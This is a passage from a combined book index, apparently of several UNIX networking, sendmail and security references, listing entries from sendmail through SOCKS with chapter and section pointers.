Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
TCP/IP Network Administration, UNIX Versions
TCP/IP Network Administration, 4.5.3. Planning Your Mail System
TCP/IP Network Administration, 10. sendmail
TCP/IP Network Administration, E.2. The sendmail Command
(see also mail)
(see also SMTP)
aliases
Practical UNIX & Internet Security, 11.5.3.3. /usr/lib/aliases, /etc/aliases,
TCP/IP Network Administration, 10.3. sendmail Aliases
classes, listed
TCP/IP Network Administration, E.4.1. sendmail Classes
TCP/IP Network Administration, E.2. The sendmail Command
compiling : TCP/IP Network Administration, E.1. Compiling sendmail
(dis)advantages to : sendmail, 18.1. To Use or Not to Use
exit values : sendmail, 36.5. sendmail's exit() Status
.forward file : Practical UNIX & Internet Security, 24.4.1.6. Changes to startup files
future of : sendmail, The Future
history of
sendmail, History
sendmail, 27.5. The V Configuration Command
installing and configuring
sendmail, 2.1. Get the Source
sendmail, 18.6. Install sendmail
sendmail, 18.8. Alphabetized Reference
TCP/IP Network Administration, 10.5. sendmail Configuration
internal macros, listed : TCP/IP Network Administration, 10.5.2. The Define Macro Command
location of : sendmail, 36.1. Alternative argv[0] Names
logging to syslog : Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
m4 diversions, reserved : sendmail, 19.1.4. m4 diversions
mailer flags, listed : TCP/IP Network Administration, E.4.3. sendmail Mailer Flags
Morris worm : Building Internet Firewalls, 8.1. Electronic Mail
obtaining source code
sendmail, 2.1. Get the Source
sendmail, 18.3. Obtain the Source
options
sendmail, 13.2. Required Options
TCP/IP Network Administration, E.4.2. sendmail Options
pid for : (see $p macro)
readying for DNS : sendmail, 21.1.2. Make sendmail DNS Aware
restricted shell : sendmail, 19.6. Alphabetized m4 Macros
running as a daemon : TCP/IP Network Administration, 10.2. Running sendmail as a Daemon
running manually : sendmail, 1.4. Run sendmail by Hand
same Internet/NIS domain : Practical UNIX & Internet Security, 19.4.3. NIS Domains
security problems with : Practical UNIX & Internet Security, 17.3.4.1. sendmail and security
starting operating mode : sendmail, 31.10. Alphabetized Reference
Sun Microsystem's enhancements to : sendmail, D. Sun Enhancements
testing and debugging arguments : TCP/IP Network Administration, 10.8. Testing sendmail.cf
tools reference : TCP/IP Network Administration, E. A sendmail Reference
using key files in : TCP/IP Network Administration, 10.8.2. Using Key Files in sendmail
using most recent release
TCP/IP Network Administration, 10.8.2. Using Key Files in sendmail
TCP/IP Network Administration, E.1. Compiling sendmail
version of
Practical UNIX & Internet Security, 17.3.4.1. sendmail and security
sendmail, UNIX and sendmail Versions
sendmail, 5.2.1. Version
sendmail, 18.2. Vendor Versus Compiling
sendmail, 27.5. The V Configuration Command
sendmail, 31.10. Alphabetized Reference
sendmail, D.2. Backward Compatibility
TCP/IP Network Administration, Preface
improving Version 8 : Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
"savemail panic" message : sendmail, 23.3.6. Savemail Panic
sendmail startup script : TCP/IP Network Administration, 10.2. Running sendmail as a Daemon
sendmail.cf configuration file
Practical UNIX & Internet Security, 17.3.4. Simple Mail Transfer Protocol (SMTP) (TCP Port 25)
sendmail, 1.3.1. The Configuration File
sendmail, 3.1. Role in the Filesystem
sendmail, 5. The sendmail.cf File
sendmail, 22.4. The Configuration File
sendmail, 27. The Configuration File
sendmail, 36.4.4. Fourth: Read the Configuration File
TCP/IP Network Administration, 10.4. The sendmail.cf File
TCP/IP Network Administration, 10.4.2. General sendmail.cf Structure
commands
sendmail, 5.1. Overview
TCP/IP Network Administration, 10.5. sendmail Configuration
define class command (C and F) : TCP/IP Network Administration, 10.5.3. The Define Class Command
define macro command (D) : TCP/IP Network Administration, 10.5.2. The Define Macro Command
define mail headers command (H) : TCP/IP Network Administration, 10.5.7. Defining Mail Headers
define mail precedence command (P) : TCP/IP Network Administration, 10.5.6. Defining Mail Precedence
define mailers command (M) : TCP/IP Network Administration, 10.5.8. Defining Mailers
define trusted users command (T) : TCP/IP Network Administration, 10.5.5. Defining Trusted Users
defining macros in : sendmail, 31.3. Configuration File Definitions
freezing : sendmail, 36.7. Alphabetized Reference
installing : sendmail, 15.6. Install the client.cf File
location of : sendmail, 36.7. Alphabetized Reference
modifying
TCP/IP Network Administration, 10.7. Modifying a sendmail.cf File
TCP/IP Network Administration, 10.7.1. Modifying Local Information
TCP/IP Network Administration, 10.7.2. Modifying Options
options and flags
sendmail, 34.1.3. Appropriateness of Options
TCP/IP Network Administration, E.4. More sendmail.cf
pathname for : sendmail, 18.8. Alphabetized Reference
rewrite rules (R, S, and K commands)
TCP/IP Network Administration, 10.6. Rewriting the Mail Address
TCP/IP Network Administration, 10.6.1. Pattern Matching
TCP/IP Network Administration, 10.6.2. Transforming the Address
rule-testing mode and : sendmail, 38.2. Configuration Lines
sample of, locating : TCP/IP Network Administration, 10.4.1. Locating a Sample sendmail.cf File
set option command (O) : TCP/IP Network Administration, 10.5.4. The Set Option Command
structure of : TCP/IP Network Administration, 10.4.2. General sendmail.cf Structure
testing
sendmail, 15.1. Test the Configuration File
TCP/IP Network Administration, 10.8. Testing sendmail.cf
commands, listed : TCP/IP Network Administration, 10.8.1. Testing Rewrite Rules
rewrite rules : TCP/IP Network Administration, 10.8.1. Testing Rewrite Rules
troubleshooting : sendmail, 27.6. Pitfalls
version level command (V) : TCP/IP Network Administration, 10.5.1. The Version Level Command
sendmail.ct file : sendmail, 19.6. Alphabetized m4 Macros
sendmail.cw file : sendmail, 19.6. Alphabetized m4 Macros
sendmail.pid file, pathname for : sendmail, 18.8. Alphabetized Reference
sendmail.st file : sendmail, 26.2.1. The sendmail.st File
sendmail.tar file : TCP/IP Network Administration, 10.4.1. Locating a Sample sendmail.cf File
sendmailvars file : sendmail, D.4. L and G Configuration Commands
"sendmailvars:" header line : sendmail, D.4. L and G Configuration Commands
SendMimeErrors (j) option : sendmail, 34.8. Alphabetized Reference
sensors : (see detectors)
separation of duties : Practical UNIX & Internet Security, 13.2.5. Least Privilege and Separation of Duties
sequence database class : sendmail, 33.8. Alphabetized Reference
Sequence Number field : TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
sequence of commands : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
serial
communications packages : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
devices, adding manually : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
interfaces
Practical UNIX & Internet Security, 14.2. Serial Interfaces
TCP/IP Network Administration, 6.2. TCP/IP Over a Serial Line
lines
load balancing : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
multiple, using simultaneously : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
protocols
choosing
TCP/IP Network Administration, 6.2.2. Choosing a Serial Protocol
TCP/IP Network Administration, A.1.1. The dip Script File
debugging : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
Serial Line Internet Protocol (SLIP) : Practical UNIX & Internet Security, 14.5. Modems and UNIX
Serial Line IP (SLIP)
Practical UNIX & Internet Security, 14.5. Modems and UNIX
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 5.3.1.2. Pseudo-device
TCP/IP Network Administration, 6.2.1. The Serial Protocols
(see also PLIP (Parallel Line IP))
END character : TCP/IP Network Administration, 6.2.1. The Serial Protocols
ESC character : TCP/IP Network Administration, 6.2.1. The Serial Protocols
installing : TCP/IP Network Administration, 6.4. Installing SLIP
server configuration : TCP/IP Network Administration, 6.4.3. SLIP Server Configuration
serial numbers, logging : Practical UNIX & Internet Security, 10.7.1.2. Informational material
SERT (Security Emergency Response Team) : Practical UNIX & Internet Security, F.3.4.4. Australia: Internet .au domain
server-side includes
Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
servers
Practical UNIX & Internet Security, 16.2.5. Clients and Servers
Practical UNIX & Internet Security, 17.1. Understanding UNIX Internet Servers
Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
TCP/IP Network Administration, 1.7. Application Layer
(see also remote, servers)
Archie, running : Building Internet Firewalls, 8.7.3.4. Running an Archie server
backing up : Practical UNIX & Internet Security, 7.2.2. Small Network of Workstations and a Server
caching servers
sendmail, 21.1. Overview
TCP/IP Network Administration, 11.6.2. The data is here and the server can't find it!
checklist for bringing up : Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
command : TCP/IP Network Administration, 8.4. Using nslookup
configuration statement : TCP/IP Network Administration, B.8.10. The routerdiscovery Statement
controlling access to : Practical UNIX & Internet Security, 17.2. Controlling Access to Servers
DNS
for internal hosts : Building Internet Firewalls, 8.10.5.2. Set up a real DNS
setting up fake : Building Internet Firewalls, 8.10.5.1. Set up a `fake'
ftp : (see FTP)
http : (see http server)
load shedding : Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
local : sendmail, 19.6. Alphabetized m4 Macros
master/slave
TCP/IP Network Administration, 8.1.1. BIND Configurations
(see also NIS)
multiple : TCP/IP Network Administration, 9.1.4. NFS Automounter
name servers : sendmail, 21.1. Overview
NIS+, security levels of : Practical UNIX & Internet Security, 19.5.5. NIS+ Limitations
offsite : sendmail, 21.5.2. Offsite Servers
overloading with requests : Practical UNIX & Internet Security, 25.3.1. Service Overloading
program, pathname of : TCP/IP Network Administration, 5.4. The Internet Daemon
proxy : (see proxy servers/services)
routed : Building Internet Firewalls, 5.8.2.4. Which services should you disable?
setting up for FTP
Practical UNIX & Internet Security, 17.3.2.4. Setting up an FTP server
Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
web : (see web servers)
WN : Practical UNIX & Internet Security, 18.3. Controlling Access to Files on Your Server
Xauthority : Practical UNIX & Internet Security, 17.3.21.4. Using Xauthority magic cookies
services : (see network services)
service-list : TCP/IP Network Administration, 12.5.1.1. tcpd access control files
services file
Practical UNIX & Internet Security, 17.1.1. The /etc/services File
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 9.3. Network Information Service
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, 9.7.1. POP Server
TCP/IP Network Administration, 9.7.2. IMAP Server
services host : Building Internet Firewalls, 9.2. Screened Host Architecture
Services table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
ServiceSwitchFile option
sendmail, 21.2.3. Look Up Addresses for Delivery
sendmail, 24.1.1. The aliases(5) file's location
sendmail, 34.8. Alphabetized Reference
SESAME (Secure European System for Applications in a Multivendor Environment) : Practical UNIX & Internet Security, 19.7.2. SESAME
session
hijacking : Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
IDs
Practical UNIX & Internet Security, 4.3.3. Other IDs
Practical UNIX & Internet Security, C.1.3.4. Process groups and sessions
keys
Practical UNIX & Internet Security, 6.4. Common Cryptographic Algorithms
Practical UNIX & Internet Security, 19.3.1.1. Proving your identity
Session Layer : TCP/IP Network Administration, 1.2. A Data Communications Model
set debug command : TCP/IP Network Administration, 8.4. Using nslookup
set domain command : TCP/IP Network Administration, 8.4. Using nslookup
set ruleset (S) command : TCP/IP Network Administration, 10.6.3. The Set Ruleset Command
set type command : TCP/IP Network Administration, 11.6.4. dig: An Alternative to nslookup
seteuid, setreuid routines : sendmail, 22.1.1. Test seteuid and setreuid
setgid capability
Building Internet Firewalls, 5.3.1. What Operating System?
Practical UNIX & Internet Security, 4.3.3. Other IDs
Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
TCP/IP Network Administration, 12.4.2.1. Checking files
(see also SUID/SGID programs)
setpgrp function : Practical UNIX & Internet Security, C.1.3.4. Process groups and sessions
setrlimit function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
setsid function : Practical UNIX & Internet Security, C.1.3.4. Process groups and sessions
setuid
Building Internet Firewalls, 5.3.1. What Operating System?
Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
TCP/IP Network Administration, 9.1.3.2. The vfstab and fstab files
(see also SUID/SGID programs)
setuid file : Practical UNIX & Internet Security, 4.3.1. Real and Effective UIDs
SevenBitInput (7) option : sendmail, 34.8. Alphabetized Reference
severity level, warning
sendmail, 26.1.1. syslog(3)
sendmail, 26.1.2. Tuning syslog.conf
SGID bit
Practical UNIX & Internet Security, 5.5.1. SUID, SGID, and Sticky Bits
Practical UNIX & Internet Security, 5.5.7. SGID Bit on Files (System V UNIX Only): Mandatory
(see also SUID/SGID programs)
clearing with chown : Practical UNIX & Internet Security, 5.7. chown: Changing a File's Owner
on directories : Practical UNIX & Internet Security, 5.5.6. SGID and Sticky Bits on Directories
on files : Practical UNIX & Internet Security, 5.5.7. SGID Bit on Files (System V UNIX Only): Mandatory
SGID files : Practical UNIX & Internet Security, B.3.2.2. SGID files
sh (Bourne shell)
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
Practical UNIX & Internet Security, 11.5.1. Shell Features
Practical UNIX & Internet Security, C.5.3. Running the User's Shell
SUID and
Practical UNIX & Internet Security, 5.5.2. Problems with SUID
(see also shells)
SHA (Secure Hash Algorithm)
Practical UNIX & Internet Security, 6.5.3. Digital Signatures
Practical UNIX & Internet Security, 6.5.4.2. SHA
shadow file
Practical UNIX & Internet Security, 8.1.1. Accounts Without Passwords
Practical UNIX & Internet Security, 8.8.5. Shadow Password Files
TCP/IP Network Administration, 12.2.1. The Shadow Password File
shadow passwords
Practical UNIX & Internet Security, 3.2.1. The /etc/passwd File
Practical UNIX & Internet Security, 8.4.1. Changing an Account's Password
Practical UNIX & Internet Security, 8.8.5. Shadow Password Files
Shamir, Adi
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 6.4.6. RSA and Public Key Cryptography
shar format file : Practical UNIX & Internet Security, 11.1.4. Trojan Horses
share command
TCP/IP Network Administration, 9.1.2.1. The share command
TCP/IP Network Administration, 9.1.5. NFS Authentication Server
shareware : Practical UNIX & Internet Security, 27.2.2. Viruses on the Distribution Disk
sharing
directories : TCP/IP Network Administration, 9.1. The Network File System
filesystems : TCP/IP Network Administration, 9.1.2. Sharing Filesystems
sharp sign (#) : Practical UNIX & Internet Security, 6.5.1. Message Digests
for comments
sendmail, 5.1. Overview
sendmail, 5.2.2. Comments
sendmail, 27.2. Comments
sendmail, 38.2. Configuration Lines
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, 9.1.4. NFS Automounter
TCP/IP Network Administration, 9.2.1. The printcap File
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, A.1.1. The dip Script File
TCP/IP Network Administration, D.3. The dhcpd.conf Configuration File
disabling services with : Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
in :include: lists : sendmail, 25.2.1. Comments in :include: Lists
lines in sendmail.cf : sendmail, 3.1. Role in the Filesystem
in m4 files : sendmail, 19.5. Pitfalls
shell escapes
Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
in L.cmds list : Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
shell scripts
Building Internet Firewalls, 5.8.2.1. How are services managed?
Practical UNIX & Internet Security, 5.5.3. SUID Shell Scripts
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
TCP/IP Network Administration, 12.4.2.1. Checking files
shells
Practical UNIX & Internet Security, 1.2. What Is an Operating System?
Practical UNIX & Internet Security, 3.2.1. The /etc/passwd File
Practical UNIX & Internet Security, 11.1.4. Trojan Horses
Practical UNIX & Internet Security, 11.5.1. Shell Features
Practical UNIX & Internet Security, 11.5.1.4. Filename attacks
Practical UNIX & Internet Security, C.2. Creating Processes
Practical UNIX & Internet Security, C.5.3. Running the User's Shell
changing
Practical UNIX & Internet Security, 8.4.2. Changing the Account's Login
Practical UNIX & Internet Security, 8.7.1. Integrating One-time Passwords with UNIX
history files : Practical UNIX & Internet Security, 10.4.1. Shell History
one-command accounts : Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
restricted (rsh, ksh)
Practical UNIX & Internet Security, 8.1.4.1. Restricted shells under System V UNIX
Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
UUCP : (see uucico program)
shells file
Practical UNIX & Internet Security, 8.4.2. Changing the Account's Login
sendmail, 18.8. Alphabetized Reference
sendmail, 22.8.4. The /etc/shells file
sendmail, D.1. Sun Enhancements
Shimomura, Tsutomu : Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
shoulder surfing
Practical UNIX & Internet Security, 3.2.4. Passwords Are a Shared Secret
Practical UNIX & Internet Security, 5.5.2. Problems with SUID
show queue mode : sendmail, 4.1.2. Show Queue Mode (-bp)
showmount command
TCP/IP Network Administration, 4.5.1. File servers
TCP/IP Network Administration, 9.1.3. Mounting Remote Filesystems
showq command (SMTP) : sendmail, 22.3.1. SMTP debug
shredders : Practical UNIX & Internet Security, 12.3.3. Other Media
SHTTP : (see Secure HTTP)
shutdowns and wtmp file : Practical UNIX & Internet Security, 10.1.3. last Program
shutting down
Building Internet Firewalls, 13.1.2. Disconnect or Shut Down, as
Building Internet Firewalls, 13.4.3. Planning for Disconnecting or
SIGHUP signal
Practical UNIX & Internet Security, C.4. The kill Command
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, 11.6.3. Cache corruption
TCP/IP Network Administration, A.2. The PPP Daemon
TCP/IP Network Administration, A.2.1. Signal processing
TCP/IP Network Administration, B.1.1. Signal Processing
TCP/IP Network Administration, C.1.1. Signal Processing
SIGINT signal
TCP/IP Network Administration, 11.6.3. Cache corruption
TCP/IP Network Administration, A.2.1. Signal processing
TCP/IP Network Administration, B.1.1. Signal Processing
TCP/IP Network Administration, C.1.1. Signal Processing
SIGKILL signal : Practical UNIX & Internet Security, C.4. The kill Command
Signal Ground (SG) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
signals
Practical UNIX & Internet Security, C.3. Signals
sendmail, 26.3. Signaling the Daemon
grounding : Practical UNIX & Internet Security, 25.3.3. Signal Grounding
processing
TCP/IP Network Administration, A.2.1. Signal processing
TCP/IP Network Administration, B.1.1. Signal Processing
TCP/IP Network Administration, C.1.1. Signal Processing
signatures, digital
Practical UNIX & Internet Security, 6.4. Common Cryptographic Algorithms
Practical UNIX & Internet Security, 6.5. Message Digests and Digital Signatures
Practical UNIX & Internet Security, 6.5.5.2. Message authentication codes
Practical UNIX & Internet Security, 9.2. Detecting Change
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
TCP/IP Network Administration, 12.6. Encryption
checksums
Building Internet Firewalls, 5.8.5.3. About checksums for auditing
Practical UNIX & Internet Security, 6.5.5.1. Checksums
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
TCP/IP Network Administration, 11.8. Protocol Case Study
keeping secure : Building Internet Firewalls, 13.5.3. Keeping Secured Checksums
recalculating
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 5.3.1.1. Options
using Tripwire for : Building Internet Firewalls, 5.8.5.1. Auditing packages
detached signatures : Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
with PGP : Practical UNIX & Internet Security, 6.6.3.4. Adding a digital signature to an announcement
SIGSTOP signal : Practical UNIX & Internet Security, C.4. The kill Command
SIGTERM signal
Practical UNIX & Internet Security, 25.2.1.1. Too many processes
TCP/IP Network Administration, B.1.1. Signal Processing
TCP/IP Network Administration, D.2. The dhcpd Command
silently discarding datagrams : (see datagrams)
SILO overflows : TCP/IP Network Administration, 6.1.5.4. Maximum transmission unit
Simple Gateway Management Protocol (SGMP) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
Simple Mail Transfer Protocol : (see SMTP)
Simple Network Management Protocol : (see SNMP)
single-character options : (see options, sendmail)
single-purpose routers : Building Internet Firewalls, 6.8.2. It Can Be a Single-Purpose Router or
single quotation marks (` and ') : sendmail, 19.1.1. m4 is greedy
single threaded mail deliver : TCP/IP Network Administration, E.3.1. define
single-user mode : Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
SingleLineFromHeader option
sendmail, 18.8. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
SingleThreadDelivery option
sendmail, 34.1.3. Appropriateness of Options
sendmail, 34.8. Alphabetized Reference
SITE macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
SITECONFIG macro (m4) : sendmail, 19.4.6. UUCP
size
determining free disk space : sendmail, 18.8. Alphabetized Reference
df file : sendmail, 23.4. Printing the Queue
guest messages : sendmail, 20.2.3. Limit the Size of Guest Messages
messages
sendmail, 26.1.3.10. size= the size of the message
sendmail, 30.4. The Equates
sendmail, 34.8. Alphabetized Reference
prescan buffer : sendmail, 18.8. Alphabetized Reference
queue : sendmail, 18.8. Alphabetized Reference
setting maxima : sendmail, 18.8. Alphabetized Reference
syslog buffers : sendmail, 18.8. Alphabetized Reference
SIZE keyword (ESMTP) : sendmail, 34.8. Alphabetized Reference
size= equate (syslog output) : sendmail, 26.1.3.10. size= the size of the message
Skipjack algorithm : Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Slackware 96 : TCP/IP Network Administration, 4.7. netconfig
slash (/)
/ flag : sendmail, 30.8. Alphabetized F= Flags
character in alias
sendmail, 24.2.2. Delivery to Files
sendmail, 25.7.3. Appending to Files
IFS separator : Practical UNIX & Internet Security, 11.5.1.2. IFS attacks
root directory
Practical UNIX & Internet Security, 5.1.1. Directories
(see also root directory)
slattach command : TCP/IP Network Administration, 6.4.1. slattach
slave command : TCP/IP Network Administration, C.2. named.boot Configuration Commands
Slave mode (uucico) : Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
slave server
Practical UNIX & Internet Security, 19.4. Sun's Network Information Service (NIS)
(see also NIS)
SLIP (Serial Line Internet Protocol)
Practical UNIX & Internet Security, 14.5. Modems and UNIX
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 5.3.1.2. Pseudo-device
TCP/IP Network Administration, 6.2.1. The Serial Protocols
END character : TCP/IP Network Administration, 6.2.1. The Serial Protocols
ESC character : TCP/IP Network Administration, 6.2.1. The Serial Protocols
installing : TCP/IP Network Administration, 6.4. Installing SLIP
server configuration : TCP/IP Network Administration, 6.4.3. SLIP Server Configuration
slocal program : sendmail, 25.7.5.3. The slocal program
slow convergence : TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
Smail3.x : sendmail, 18.1. To Use or Not to Use
Small Business Community Nationwide (SBA CERT) : Practical UNIX & Internet Security, F.3.4.31. Small Business Association
smap package
Building Internet Firewalls, 8.1.1.3. Improving SMTP
Practical UNIX & Internet Security, 17.3.4.1. sendmail and security
smart cards, firewalls : Practical UNIX & Internet Security, 21.5. Special Considerations
smart hosts
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 29.6.4. Forwarding to a Knowledgeable Host
sendmail, 31.10. Alphabetized Reference
SMART_HOST macro (m4)
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 31.10. Alphabetized Reference
SMI (Structure of Management Information) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
smit tool : Practical UNIX & Internet Security, 8.8.2. Constraining Passwords
smoke and smoking : Practical UNIX & Internet Security, 12.2.1.2. Smoke
smrsh program
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 22.8.2. The smrsh Program
SMTP (Simple Mail Transfer Protocol)
Building Internet Firewalls, 2.1. Electronic Mail
Building Internet Firewalls, 5.6. Selecting Services Provided by the
Building Internet Firewalls, 7.5. Proxying Without a Proxy Server
Building Internet Firewalls, 8.1.1. Simple Mail Transfer Protocol
Practical UNIX & Internet Security, 17.3.4. Simple Mail Transfer Protocol (SMTP) (TCP Port 25)
Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
sendmail, 4.2. Verbose (-v)
sendmail, 18.8. Alphabetized Reference
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
commands, listed : TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
configuring
firewalls and : Building Internet Firewalls, 8.1.1.6. Configuring SMTP to
in screened host architecture : Building Internet Firewalls, 9.2.1.3. SMTP
in screened subnet architecture : Building Internet Firewalls, 9.1.1.3. SMTP
EHLO command
sendmail, 4.2. Verbose (-v)
sendmail, 34.8. Alphabetized Reference
ESMTP (Extended SMTP)
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
TCP/IP Network Administration, 10.8. Testing sendmail.cf
private extensions to : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
ETRN command : sendmail, 23.6.2.4. Process the queue via ESMTP ETRN
EXPN command
sendmail, 22.3.2. SMTP vrfy and expn
sendmail, 22.8.3.5. The PrivacyOptions option
Extended : (see ESMTP)
forging mail with : sendmail, 22.7.2. Forging with SMTP
greeting message : sendmail, 31.10. Alphabetized Reference
HELO command
sendmail, 18.8. Alphabetized Reference
sendmail, 30.8. Alphabetized F= Flags
sendmail, 34.8. Alphabetized Reference
incoming connection rate : sendmail, 34.8. Alphabetized Reference
MAIL command
sendmail, 29.10.1. The check_mail Rule Set
sendmail, 34.8. Alphabetized Reference
multiple connections : sendmail, 34.8. Alphabetized Reference
multiple timeouts : sendmail, 34.8. Alphabetized Reference
RCPT command
sendmail, 23.9. The qf File Internals
sendmail, 29.10.2. The check_rcpt Rule Set
sendmail, 36.7. Alphabetized Reference
refusing on high load : sendmail, 34.8. Alphabetized Reference
running on stdin : sendmail, 36.7. Alphabetized Reference
sendmail and : TCP/IP Network Administration, 10.1. sendmail's Function
service extensions to : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
SMTP probes : sendmail, 22.3. SMTP Probes
standardizing on : TCP/IP Network Administration, 4.5.3. Planning Your Mail System
status codes : sendmail, B.1. Status file lines
for UNIX : (see Sendmail)
VRFY command
sendmail, 22.3.2. SMTP vrfy and expn
sendmail, 22.8.3.5. The PrivacyOptions option
sendmail, 30.8. Alphabetized F= Flags
smtpd daemon : sendmail, 36.1.5. smtpd
SMTPDEBUG macro
sendmail, 18.8. Alphabetized Reference
sendmail, 22.3.1. SMTP debug
SmtpGreetingMessage option
sendmail, 31.10. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
SMTPLINELIM macro : sendmail, 18.8. Alphabetized Reference
SNA (System Network Architecture) : Practical UNIX & Internet Security, 16.4.2. SNA
snapshots, system
Building Internet Firewalls, 13.1.5. Snapshot the System
Building Internet Firewalls, 13.4.5. Planning for Snapshots
SNEFRU algorithm : Practical UNIX & Internet Security, 6.5.4.4. SNEFRU
sniffing
Building Internet Firewalls, 1.2.1.3. Information Theft
Building Internet Firewalls, 10.1.2. Packet Sniffing
Building Internet Firewalls, 10.3.1. One-Time Passwords
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
Practical UNIX & Internet Security, 3. Users and Passwords
Practical UNIX & Internet Security, 8.7. One-Time Passwords
Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
(see also eavesdropping)
network : Practical UNIX & Internet Security, 16.3. IP Security
packet
Building Internet Firewalls, 10.1.2. Packet Sniffing
Practical UNIX & Internet Security, 16.3.1. Link-level Security
Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
SNK-004 card, TIS FWTK : Building Internet Firewalls, 10.3.3. Challenge-Response Schemes
SNMP (Simple Network Management Protocol)
Building Internet Firewalls, 2.10. Network Management Services
Practical UNIX & Internet Security, 17.3.15. Simple Network Management Protocol (SNMP) (UDP Ports
TCP/IP Network Administration, 11.9. Simple Network Management Protocol
configuring : Building Internet Firewalls, 8.12.1. Simple Network Management
statement (in gated) : TCP/IP Network Administration, B.8.7. The snmp Statement
snoop
Practical UNIX & Internet Security, 24.2.3. Monitoring the Intruder
TCP/IP Network Administration, 11.2. Diagnostic Tools
TCP/IP Network Administration, 11.7. Analyzing Protocol Problems
detailed analysis with : TCP/IP Network Administration, 11.3. Testing Basic Connectivity
snuffle program : Building Internet Firewalls, 5.8.2.2. How to disable services
SOA records
sendmail, 15.3. MX Records
TCP/IP Network Administration, 8.3.2. Standard Resource Records
TCP/IP Network Administration, 8.3.4. The named.local File
TCP/IP Network Administration, 8.3.5. The Reverse Domain File
TCP/IP Network Administration, 8.3.6. The named.hosts File
TCP/IP Network Administration, 11.6.1. Some systems work, others don't
TCP/IP Network Administration, C.3.1.1. Start of Authority record
socket
Building Internet Firewalls, C.12.3. Sockets
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 2.7.3. Sockets
pairs : TCP/IP Network Administration, 2.7.3. Sockets
types of : TCP/IP Network Administration, 5.4. The Internet Daemon
SOCKS package
Building Internet Firewalls, 7.6. Using SOCKS for
Building Internet Firewalls, B.4.2. SOCKS
Practical UNIX & Internet Security, E.4.8. SOCKS
TCP/IP Network Administration, 12.7.1. Functions of the firewall
(see proxy servers/services)
functions : Building Internet Firewalls, 7.6. Using SOCKS for
HTTP proxying on
in screened subnet architecture : Building Internet Firewalls, 9.1.1.5. HTTP
modified finger service : Building Internet Firewalls, 8.8.1.2. Proxying characteristics of finger
